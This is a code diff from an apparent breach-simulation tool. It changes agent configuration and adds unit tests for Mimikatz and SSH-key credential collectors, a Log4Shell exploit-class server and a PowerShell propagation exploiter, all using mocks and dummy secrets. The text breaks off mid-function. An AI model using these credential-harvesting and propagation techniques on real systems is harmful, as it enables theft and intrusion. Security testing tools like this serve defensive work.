@@ "finger_classes": [ "SMBFinger", "SSHFinger", - "PingScanner", "HTTPFinger", - "MySQLFinger", "MSSQLFinger", "ElasticFinger" ] @@ -113,26 +101,12 @@ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", "dropper_date_reference_path_linux": "/bin/sh", "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe" }, - "logging": { - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp" - }, "exploits": { "exploit_lm_hash_list": [], "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "general": { - "skip_exploit_if_file_exist": false - }, - "ms08_067": { - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT" - } + "exploit_ssh_keys": [] }, "testing": { "export_monkey_telems": false @@ -157,11 +131,8 @@ }, "system_info": { "system_info_collector_classes": [ - "environmentcollector", - "awscollector", - "hostnamecollector", - "processlistcollector", - "mimikatzcollector" + "MimikatzCollector", + "SSHCollector" ] } } diff --git a/monkey/tests/unit_tests/common/network/test_network_range.py b/monkey/tests/unit_tests/common/network/test_network_range.py new file mode 100644 index 000000000..0abb793d1 --- /dev/null +++ b/monkey/tests/unit_tests/common/network/test_network_range.py @@ -0,0 +1,35 @@ +from common.network.network_range import NetworkRange + + +def test_range_filtering(): + invalid_ranges = [ + # Invalid IP segment + "172.60.999.109", + "172.60.-1.109", + "172.60.999.109 - 172.60.1.109", + "172.60.999.109/32", + "172.60.999.109/24", + # Invalid CIDR + "172.60.1.109/33", + "172.60.1.109/-1", + # Typos + "172.60.9.109 -t 172.60.1.109", + "172.60..9.109", + "172.60,9.109", + " 172.60 .9.109 ", + ] + + valid_ranges = [ + " 172.60.9.109 ", + "172.60.9.109 - 172.60.1.109", + "172.60.9.109- 172.60.1.109", + "0.0.0.0", + "localhost", + ] + + invalid_ranges.extend(valid_ranges) + + remaining = NetworkRange.filter_invalid_ranges(invalid_ranges, "Test error:") + for _range in remaining: + assert _range in valid_ranges + assert len(remaining) == len(valid_ranges) diff --git a/monkey/tests/unit_tests/common/network/test_network_utils.py b/monkey/tests/unit_tests/common/network/test_network_utils.py index 0376cd6d5..1d4aac451 100644 --- a/monkey/tests/unit_tests/common/network/test_network_utils.py +++ b/monkey/tests/unit_tests/common/network/test_network_utils.py @@ -1,17 +1,15 @@ -from unittest import TestCase - -from common.network.network_utils import get_host_from_network_location, remove_port +from common.network.network_utils import address_to_ip_port -class TestNetworkUtils(TestCase): - def test_get_host_from_network_location(self): - assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1" - assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1" - assert get_host_from_network_location("127.0.0.1") == "127.0.0.1" - assert get_host_from_network_location("www.google.com:8080") == "www.google.com" - assert get_host_from_network_location("user:password@host:8080") == "host" +def test_address_to_ip_port(): + ip, port = address_to_ip_port("192.168.65.1:5000") + assert ip == "192.168.65.1" + assert port == "5000" - def test_remove_port_from_url(self): - assert remove_port("https://google.com:80") == "https://google.com" - assert remove_port("https://8.8.8.8:65336") == "https://8.8.8.8" - assert remove_port("ftp://ftpserver.com:21/hello/world") == "ftp://ftpserver.com" + +def test_address_to_ip_port_no_port(): + ip, port = address_to_ip_port("192.168.65.1") + assert port is None + + ip, port = address_to_ip_port("192.168.65.1:") + assert port is None diff --git a/monkey/tests/unit_tests/common/utils/test_shellcode_obfuscator.py b/monkey/tests/unit_tests/common/utils/test_shellcode_obfuscator.py deleted file mode 100644 index bda9f7996..000000000 --- a/monkey/tests/unit_tests/common/utils/test_shellcode_obfuscator.py +++ /dev/null @@ -1,14 +0,0 @@ -from unittest import TestCase - -from common.utils.shellcode_obfuscator import clarify, obfuscate - -SHELLCODE = b"1234567890abcd" -OBFUSCATED_SHELLCODE = b"\xc7T\x9a\xf4\xb1cn\x94\xb0X\xf2\xfb^=" - - -class TestShellcodeObfuscator(TestCase): - def test_obfuscate(self): - assert obfuscate(SHELLCODE) == OBFUSCATED_SHELLCODE - - def test_clarify(self): - assert clarify(OBFUSCATED_SHELLCODE) == SHELLCODE diff --git a/monkey/tests/unit_tests/conftest.py b/monkey/tests/unit_tests/conftest.py index 3099263b0..5b83a7e69 100644 --- a/monkey/tests/unit_tests/conftest.py +++ b/monkey/tests/unit_tests/conftest.py @@ -1,6 +1,7 @@ -import os +import json import sys from pathlib import Path +from typing import Callable, Dict import pytest from _pytest.monkeypatch import MonkeyPatch @@ -11,7 +12,7 @@ sys.path.insert(0, MONKEY_BASE_PATH) @pytest.fixture(scope="session") def data_for_tests_dir(pytestconfig): - return Path(os.path.join(pytestconfig.rootdir, "monkey", "tests", "data_for_tests")) + return Path(pytestconfig.rootdir) / "monkey" / "tests" / "data_for_tests" @pytest.fixture(scope="session") @@ -39,3 +40,17 @@ def monkeypatch_session(): monkeypatch_ = MonkeyPatch() yield monkeypatch_ monkeypatch_.undo() + + +@pytest.fixture +def monkey_configs_dir(data_for_tests_dir) -> Path: + return data_for_tests_dir / "monkey_configs" + + +@pytest.fixture +def load_monkey_config(data_for_tests_dir) -> Callable[[str], Dict]: + def inner(filename: str) -> Dict: + config_path = data_for_tests_dir / "monkey_configs" / filename + return json.loads(open(config_path, "r").read()) + + return inner diff --git a/monkey/tests/unit_tests/infection_monkey/conftest.py b/monkey/tests/unit_tests/infection_monkey/conftest.py index 533572f98..14a193112 100644 --- a/monkey/tests/unit_tests/infection_monkey/conftest.py +++ b/monkey/tests/unit_tests/infection_monkey/conftest.py @@ -15,3 +15,8 @@ class TelemetryMessengerSpy(ITelemetryMessenger): @pytest.fixture def telemetry_messenger_spy(): return TelemetryMessengerSpy() + + +@pytest.fixture +def automated_master_config(load_monkey_config): + return load_monkey_config("automated_master_config.json") diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py new file mode 100644 index 000000000..20eca62c7 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py @@ -0,0 +1,92 @@ +from typing import Sequence + +import pytest + +from infection_monkey.credential_collectors import ( + LMHash, + MimikatzCredentialCollector, + NTHash, + Password, + Username, +) +from infection_monkey.credential_collectors.mimikatz_collector.windows_credentials import ( + WindowsCredentials, +) +from infection_monkey.i_puppet import Credentials + + +def patch_pypykatz(win_creds: [WindowsCredentials], monkeypatch): + monkeypatch.setattr( + "infection_monkey.credential_collectors" + ".mimikatz_collector.pypykatz_handler.get_windows_creds", + lambda: win_creds, + ) + + +def collect_credentials() -> Sequence[Credentials]: + return MimikatzCredentialCollector().collect_credentials() + + +@pytest.mark.parametrize( + "win_creds", [([WindowsCredentials(username="", password="", ntlm_hash="", lm_hash="")]), ([])] +) +def test_empty_results(monkeypatch, win_creds): + patch_pypykatz(win_creds, monkeypatch) + collected_credentials = collect_credentials() + assert not collected_credentials + + +def test_pypykatz_result_parsing(monkeypatch): + win_creds = [WindowsCredentials(username="user", password="secret", ntlm_hash="", lm_hash="")] + patch_pypykatz(win_creds, monkeypatch) + + username = Username("user") + password = Password("secret") + expected_credentials = Credentials([username], [password]) + + collected_credentials = collect_credentials() + assert len(collected_credentials) == 1 + assert collected_credentials[0] == expected_credentials + + +def test_pypykatz_result_parsing_duplicates(monkeypatch): + win_creds = [ + WindowsCredentials(username="user", password="secret", ntlm_hash="", lm_hash=""), + WindowsCredentials(username="user", password="secret", ntlm_hash="", lm_hash=""), + ] + patch_pypykatz(win_creds, monkeypatch) + + collected_credentials = collect_credentials() + assert len(collected_credentials) == 2 + + +def test_pypykatz_result_parsing_defaults(monkeypatch): + win_creds = [ + WindowsCredentials(username="user2", password="secret2", lm_hash="lm_hash"), + ] + patch_pypykatz(win_creds, monkeypatch) + + # Expected credentials + username = Username("user2") + password = Password("secret2") + lm_hash = LMHash("lm_hash") + expected_credentials = Credentials([username], [password, lm_hash]) + + collected_credentials = collect_credentials() + assert len(collected_credentials) == 1 + assert collected_credentials[0] == expected_credentials + + +def test_pypykatz_result_parsing_no_identities(monkeypatch): + win_creds = [ + WindowsCredentials(username="", password="", ntlm_hash="ntlm_hash", lm_hash="lm_hash"), + ] + patch_pypykatz(win_creds, monkeypatch) + + lm_hash = LMHash("lm_hash") + nt_hash = NTHash("ntlm_hash") + expected_credentials = Credentials([], [lm_hash, nt_hash]) + + collected_credentials = collect_credentials() + assert len(collected_credentials) == 1 + assert collected_credentials[0] == expected_credentials diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_ssh_credentials_collector.py new file mode 100644 index 000000000..4b344d9b0 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_ssh_credentials_collector.py @@ -0,0 +1,63 @@ +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.credential_collectors import SSHCredentialCollector, SSHKeypair, Username +from infection_monkey.i_puppet.credential_collection import Credentials + + +@pytest.fixture +def patch_telemetry_messenger(): + return MagicMock() + + +def patch_ssh_handler(ssh_creds, monkeypatch): + monkeypatch.setattr( + "infection_monkey.credential_collectors.ssh_collector.ssh_handler.get_ssh_info", + lambda _: ssh_creds, + ) + + +@pytest.mark.parametrize( + "ssh_creds", [([{"name": "", "home_dir": "", "public_key": None, "private_key": None}]), ([])] +) +def test_ssh_credentials_empty_results(monkeypatch, ssh_creds, patch_telemetry_messenger): + patch_ssh_handler(ssh_creds, monkeypatch) + collected = SSHCredentialCollector(patch_telemetry_messenger).collect_credentials() + assert not collected + + +def test_ssh_info_result_parsing(monkeypatch, patch_telemetry_messenger): + + ssh_creds = [ + { + "name": "ubuntu", + "home_dir": "/home/ubuntu", + "public_key": "SomePublicKeyUbuntu", + "private_key": "ExtremelyGoodPrivateKey", + }, + { + "name": "mcus", + "home_dir": "/home/mcus", + "public_key": "AnotherPublicKey", + "private_key": None, + }, + {"name": "guest", "home_dir": "/", "public_key": None, "private_key": None}, + ] + patch_ssh_handler(ssh_creds, monkeypatch) + + # Expected credentials + username = Username("ubuntu") + username2 = Username("mcus") + username3 = Username("guest") + + ssh_keypair1 = SSHKeypair("ExtremelyGoodPrivateKey", "SomePublicKeyUbuntu") + ssh_keypair2 = SSHKeypair("", "AnotherPublicKey") + + expected = [ + Credentials(identities=[username], secrets=[ssh_keypair1]), + Credentials(identities=[username2], secrets=[ssh_keypair2]), + Credentials(identities=[username3], secrets=[]), + ] + collected = SSHCredentialCollector(patch_telemetry_messenger).collect_credentials() + assert expected == collected diff --git a/monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_credentials_store.py b/monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_credentials_store.py new file mode 100644 index 000000000..0b6fd8545 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_credentials_store.py @@ -0,0 +1,95 @@ +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.credential_collectors import Password, SSHKeypair, Username +from infection_monkey.credential_store import AggregatingCredentialsStore +from infection_monkey.i_puppet import Credentials + +CONTROL_CHANNEL_CREDENTIALS = { + "exploit_user_list": ["Administrator", "root", "user1"], + "exploit_password_list": ["123456", "123456789", "password", "root"], + "exploit_lm_hash_list": ["aasdf23asd1fdaasadasdfas"], + "exploit_ntlm_hash_list": ["asdfadvxvsdftw3e3421234123412", "qw4trklxklvznksbhasd1231"], + "exploit_ssh_keys": [ + {"public_key": "some_public_key", "private_key": "some_private_key"}, + { + "public_key": "ssh-ed25519 AAAAC3NzEIFaJ7xH+Yoxd\n", + "private_key": "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BdHIAAAAGYXjl0j66VAKruPEKjS3A=\n" + "-----END OPENSSH PRIVATE KEY-----\n", + }, + ], +} + +TEST_CREDENTIALS = [ + Credentials( + [Username("user1"), Username("user3")], + [ + Password("abcdefg"), + Password("root"), + SSHKeypair(public_key="some_public_key_1", private_key="some_private_key_1"), + ], + ) +] + +SSH_KEYS_CREDENTIALS = [ + Credentials( + [Username("root")], + [ + SSHKeypair(public_key="some_public_key", private_key="some_private_key"), + ], + ) +] + + +@pytest.fixture +def aggregating_credentials_store() -> AggregatingCredentialsStore: + control_channel = MagicMock() + control_channel.get_credentials_for_propagation.return_value = CONTROL_CHANNEL_CREDENTIALS + return AggregatingCredentialsStore(control_channel) + + +def test_get_credentials_from_store(aggregating_credentials_store): + actual_stored_credentials = aggregating_credentials_store.get_credentials() + + print(actual_stored_credentials) + + assert actual_stored_credentials["exploit_user_list"] == set( + CONTROL_CHANNEL_CREDENTIALS["exploit_user_list"] + ) + assert actual_stored_credentials["exploit_password_list"] == set( + CONTROL_CHANNEL_CREDENTIALS["exploit_password_list"] + ) + assert actual_stored_credentials["exploit_ntlm_hash_list"] == set( + CONTROL_CHANNEL_CREDENTIALS["exploit_ntlm_hash_list"] + ) + + for ssh_keypair in actual_stored_credentials["exploit_ssh_keys"]: + assert ssh_keypair in CONTROL_CHANNEL_CREDENTIALS["exploit_ssh_keys"] + + +def test_add_credentials_to_store(aggregating_credentials_store): + aggregating_credentials_store.add_credentials(TEST_CREDENTIALS) + aggregating_credentials_store.add_credentials(SSH_KEYS_CREDENTIALS) + + actual_stored_credentials = aggregating_credentials_store.get_credentials() + + assert actual_stored_credentials["exploit_user_list"] == set( + [ + "Administrator", + "root", + "user1", + "user3", + ] + ) + assert actual_stored_credentials["exploit_password_list"] == set( + [ + "123456", + "123456789", + "abcdefg", + "password", + "root", + ] + ) + + assert len(actual_stored_credentials["exploit_ssh_keys"]) == 3 diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py b/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py index c0d84708b..7d4265395 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py @@ -19,3 +19,37 @@ def patch_win32api_get_user_name(local_user): win32api.NameSamCompatible = None sys.modules["win32api"] = win32api + + +def _create_windows_host(http_enabled, https_enabled): + host = MagicMock() + host.os = {"type": "windows"} + host.services = {} + + if http_enabled: + host.services["tcp-5985"] = {} + + if https_enabled: + host.services["tcp-5986"] = {} + + return host + + +@pytest.fixture +def https_only_host(): + return _create_windows_host(False, True) + + +@pytest.fixture +def http_only_host(): + return _create_windows_host(True, False) + + +@pytest.fixture +def http_and_https_both_enabled_host(): + return _create_windows_host(True, True) + + +@pytest.fixture +def powershell_disabled_host(): + return _create_windows_host(False, False) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py index b22ef41da..3675a7d53 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py @@ -30,6 +30,16 @@ def server(ip, port, java_class): server.stop() +@pytest.fixture +def second_server(ip, java_class): + server = ExploitClassHTTPServer(ip, get_free_tcp_port(), java_class, 0.01) + server.run() + + yield server + + server.stop() + + @pytest.fixture def exploit_url(ip, port): return f"http://{ip}:{port}/Exploit" @@ -46,9 +56,19 @@ def test_only_single_download_allowed(exploit_url, java_class): assert response_2.content != java_class -def test_exploit_class_downloded(server, exploit_url): +def test_exploit_class_downloaded(server, exploit_url): assert not server.exploit_class_downloaded() requests.get(exploit_url) assert server.exploit_class_downloaded() + + +def test_thread_safety(server, second_server, exploit_url): + assert not server.exploit_class_downloaded() + assert not second_server.exploit_class_downloaded() + + requests.get(exploit_url) + + assert server.exploit_class_downloaded() + assert not second_server.exploit_class_downloaded() diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py index ce5449051..fe18ccf9e 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py @@ -16,85 +16,96 @@ CREDENTIALS_LM_HASH = Credentials("user4", "LM_HASH:NONE", SecretType.LM_HASH) CREDENTIALS_NT_HASH = Credentials("user5", "NONE:NT_HASH", SecretType.NT_HASH) -def test_get_auth_options__ssl_true_with_password(): - auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, use_ssl=True) +def test_get_auth_options__ssl_false_with_no_open_ports(powershell_disabled_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, powershell_disabled_host) + assert auth_options.ssl is False + + +def test_get_auth_options__ssl_true_with_password(https_only_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, https_only_host) assert auth_options.ssl -def test_get_auth_options__ssl_true_empty_password(): - auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=True) - - assert not auth_options.ssl - - -def test_get_auth_options__ssl_true_none_password(): - auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=True) +def test_get_auth_options__ssl_preferred(http_and_https_both_enabled_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_and_https_both_enabled_host) assert auth_options.ssl -def test_get_auth_options__ssl_false_with_password(): - auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, use_ssl=False) +def test_get_auth_options__ssl_true_empty_password(https_only_host): + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, https_only_host) assert not auth_options.ssl -def test_get_auth_options__ssl_false_empty_password(): - auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=False) +def test_get_auth_options__ssl_true_none_password(https_only_host): + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, https_only_host) + + assert auth_options.ssl + + +def test_get_auth_options__ssl_false_with_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_only_host) assert not auth_options.ssl -def test_get_auth_options__ssl_false_none_password(): - auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=False) +def test_get_auth_options__ssl_false_empty_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, http_only_host) assert not auth_options.ssl -def test_get_auth_options__auth_type_with_password(): - auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, use_ssl=False) +def test_get_auth_options__ssl_false_none_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, http_only_host) + + assert not auth_options.ssl + + +def test_get_auth_options__auth_type_with_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_only_host) assert auth_options.auth_type == AUTH_NEGOTIATE -def test_get_auth_options__auth_type_empty_password(): - auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=False) +def test_get_auth_options__auth_type_empty_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, http_only_host) assert auth_options.auth_type == AUTH_BASIC -def test_get_auth_options__auth_type_none_password(): - auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=False) +def test_get_auth_options__auth_type_none_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, http_only_host) assert auth_options.auth_type == AUTH_NEGOTIATE -def test_get_auth_options__auth_type_with_LM_hash(): - auth_options = get_auth_options(CREDENTIALS_LM_HASH, use_ssl=False) +def test_get_auth_options__auth_type_with_LM_hash(http_only_host): + auth_options = get_auth_options(CREDENTIALS_LM_HASH, http_only_host) assert auth_options.auth_type == AUTH_NTLM -def test_get_auth_options__auth_type_with_NT_hash(): - auth_options = get_auth_options(CREDENTIALS_NT_HASH, use_ssl=False) +def test_get_auth_options__auth_type_with_NT_hash(http_only_host): + auth_options = get_auth_options(CREDENTIALS_NT_HASH, http_only_host) assert auth_options.auth_type == AUTH_NTLM -def test_get_auth_options__encryption_with_password(): - auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, use_ssl=False) +def test_get_auth_options__encryption_with_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_only_host) assert auth_options.encryption == ENCRYPTION_AUTO -def test_get_auth_options__encryption_empty_password(): - auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=False) +def test_get_auth_options__encryption_empty_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, http_only_host) assert auth_options.encryption == ENCRYPTION_NEVER -def test_get_auth_options__encryption_none_password(): - auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=False) +def test_get_auth_options__encryption_none_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, http_only_host) assert auth_options.encryption == ENCRYPTION_AUTO diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index ef3da4538..78ba133af 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -1,12 +1,10 @@ -from collections import namedtuple +import threading +from io import BytesIO from unittest.mock import MagicMock import pytest from infection_monkey.exploit import powershell -from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 -from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions -from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.model.host import VictimHost # Use the path_win32api_get_user_name fixture for all tests in this module @@ -16,171 +14,169 @@ USER_LIST = ["user1", "user2"] PASSWORD_LIST = ["pass1", "pass2"] LM_HASH_LIST = ["bogo_lm_1"] NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"] -DROPPER_TARGET_PATH_32 = "C:\\agent32" DROPPER_TARGET_PATH_64 = "C:\\agent64" -Config = namedtuple( - "Config", - [ - "exploit_user_list", - "exploit_password_list", - "exploit_lm_hash_list", - "exploit_ntlm_hash_list", - "dropper_target_path_win_32", - "dropper_target_path_win_64", - ], -) + +mock_agent_repository = MagicMock() +mock_agent_repository.get_agent_binary.return_value = BytesIO(b"BINARY_EXECUTABLE") -class TestAuthenticationError(Exception): - pass +@pytest.fixture +def powershell_arguments(http_and_https_both_enabled_host): + options = { + "dropper_target_path_win_64": DROPPER_TARGET_PATH_64, + "credentials": { + "exploit_user_list": USER_LIST, + "exploit_password_list": PASSWORD_LIST, + "exploit_lm_hash_list": LM_HASH_LIST, + "exploit_ntlm_hash_list": NT_HASH_LIST, + }, + } + arguments = { + "host": http_and_https_both_enabled_host, + "options": options, + "current_depth": 2, + "telemetry_messenger": MagicMock(), + "agent_repository": mock_agent_repository, + "interrupt": threading.Event(), + } + return arguments @pytest.fixture def powershell_exploiter(monkeypatch): - host = VictimHost("127.0.0.1") - pe = powershell.PowerShellExploiter(host) - pe._config = Config( - USER_LIST, - PASSWORD_LIST, - LM_HASH_LIST, - NT_HASH_LIST, - DROPPER_TARGET_PATH_32, - DROPPER_TARGET_PATH_64, - ) + pe = powershell.PowerShellExploiter() - monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError) monkeypatch.setattr(powershell, "is_windows_os", lambda: True) - # It's regrettable to mock out a private method on the PowerShellExploiter instance object, but - # it's necessary to avoid having to deal with the monkeyfs - monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None) return pe -def test_powershell_disabled(monkeypatch, powershell_exploiter): - mock_powershell_client = MagicMock(side_effect=Exception) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) +def test_powershell_disabled(powershell_exploiter, powershell_arguments, powershell_disabled_host): + powershell_arguments["host"] = powershell_disabled_host - success = powershell_exploiter.exploit_host() - assert not success + exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) + assert not exploit_result.exploitation_success + assert not exploit_result.propagation_success + assert "disabled" in exploit_result.error_message -def test_powershell_http(monkeypatch, powershell_exploiter): - def allow_http(_, credentials: Credentials, auth_options: AuthOptions): - if not auth_options.ssl: - raise TestAuthenticationError - else: - raise Exception +def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments, http_only_host): + powershell_arguments["host"] = http_only_host - mock_powershell_client = MagicMock(side_effect=allow_http) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) - powershell_exploiter.exploit_host() + mock_powershell_client = MagicMock() + monkeypatch.setattr( + powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client) + ) + + powershell_exploiter.exploit_host(**powershell_arguments) for call_args in mock_powershell_client.call_args_list: assert not call_args[0][2].ssl -def test_powershell_https(monkeypatch, powershell_exploiter): - def allow_https(_, credentials: Credentials, auth_options: AuthOptions): - if auth_options.ssl: - raise TestAuthenticationError - else: - raise Exception +def test_powershell_https(monkeypatch, powershell_exploiter, powershell_arguments, https_only_host): + mock_powershell_client = MagicMock() + mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login")) + mock_powershell_client_constructor = MagicMock(return_value=mock_powershell_client) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client_constructor) - mock_powershell_client = MagicMock(side_effect=allow_https) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) - powershell_exploiter.exploit_host() + powershell_exploiter.exploit_host(**powershell_arguments) - for call_args in mock_powershell_client.call_args_list: - if call_args[0][1].secret != "" and call_args[0][1].secret != "dummy_password": + non_ssl_calls = 0 + for call_args in mock_powershell_client_constructor.call_args_list: + if call_args[0][1].secret != "": assert call_args[0][2].ssl - - -def test_no_valid_credentials(monkeypatch, powershell_exploiter): - mock_powershell_client = MagicMock(side_effect=TestAuthenticationError) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) - - success = powershell_exploiter.exploit_host() - assert not success - - -def authenticate(mock_client): - def inner(_, credentials: Credentials, auth_options: AuthOptions): - if credentials.username == "user1" and credentials.secret == "pass2": - return mock_client else: - raise TestAuthenticationError("Invalid credentials") + assert not call_args[0][2].ssl + non_ssl_calls += 1 - return inner + assert non_ssl_calls > 0 -@pytest.mark.parametrize( - "dropper_target_path,arch", - [(DROPPER_TARGET_PATH_32, WIN_ARCH_32), (DROPPER_TARGET_PATH_64, WIN_ARCH_64)], -) -def test_successful_copy(monkeypatch, powershell_exploiter, dropper_target_path, arch): - mock_client = MagicMock() - mock_client.return_value.get_host_architecture = lambda: arch - mock_client.return_value.copy_file = MagicMock(return_value=True) - - monkeypatch.setattr(powershell, "PowerShellClient", mock_client) - - success = powershell_exploiter.exploit_host() - - assert dropper_target_path in mock_client.return_value.copy_file.call_args[0][1] - assert success - - -def test_failed_copy(monkeypatch, powershell_exploiter): - mock_client = MagicMock() - mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32 - mock_client.return_value.copy_file = MagicMock(return_value=False) - - monkeypatch.setattr(powershell, "PowerShellClient", mock_client) - - success = powershell_exploiter.exploit_host() - assert not success - - -def test_failed_monkey_execution(monkeypatch, powershell_exploiter): - mock_client = MagicMock() - mock_client.get_host_architecture = lambda: WIN_ARCH_32 - mock_client.copy_file = MagicMock(return_value=True) - mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception) - - mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) - - success = powershell_exploiter.exploit_host() - assert not success - - -def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter): - mock_client = MagicMock() - mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32 - mock_client.return_value.copy_file = MagicMock(return_value=True) - - # execute_cmd method will throw exceptions for 5 first calls. - # 6-th call doesn't throw an exception == credentials successful - execute_cmd_returns = [Exception, Exception, Exception, Exception, Exception, True] - mock_client.return_value.execute_cmd = MagicMock(side_effect=execute_cmd_returns) - - monkeypatch.setattr(powershell, "PowerShellClient", mock_client) - - powershell_exploiter.exploit_host() - - # Total 6 attempts reported, 5 failed and 1 succeeded - assert len(powershell_exploiter.exploit_attempts) == len(execute_cmd_returns) - assert ( - len([attempt for attempt in powershell_exploiter.exploit_attempts if not attempt["result"]]) - == 5 +def test_no_valid_credentials(monkeypatch, powershell_exploiter, powershell_arguments): + mock_powershell_client = MagicMock() + mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login")) + monkeypatch.setattr( + powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client) ) - assert ( - len([attempt for attempt in powershell_exploiter.exploit_attempts if attempt["result"]]) - == 1 + + exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) + assert not exploit_result.exploitation_success + assert not exploit_result.propagation_success + assert "Unable to authenticate" in exploit_result.error_message + + +def test_successful_copy(monkeypatch, powershell_exploiter, powershell_arguments): + mock_client = MagicMock() + + monkeypatch.setattr(powershell, "PowerShellClient", mock_client) + + exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) + + assert DROPPER_TARGET_PATH_64 in str(mock_client.return_value.copy_file.call_args[0][1]) + assert exploit_result.exploitation_success + + +def test_failed_copy(monkeypatch, powershell_exploiter, powershell_arguments): + mock_client = MagicMock() + mock_client.return_value.copy_file = MagicMock(side_effect=Exception("COPY FAILED")) + + monkeypatch.setattr(powershell, "PowerShellClient", mock_client) + + exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) + assert exploit_result.exploitation_success + assert not exploit_result.propagation_success + assert "copy" in exploit_result.error_message + + +def test_failed_monkey_execution(monkeypatch, powershell_exploiter, powershell_arguments): + 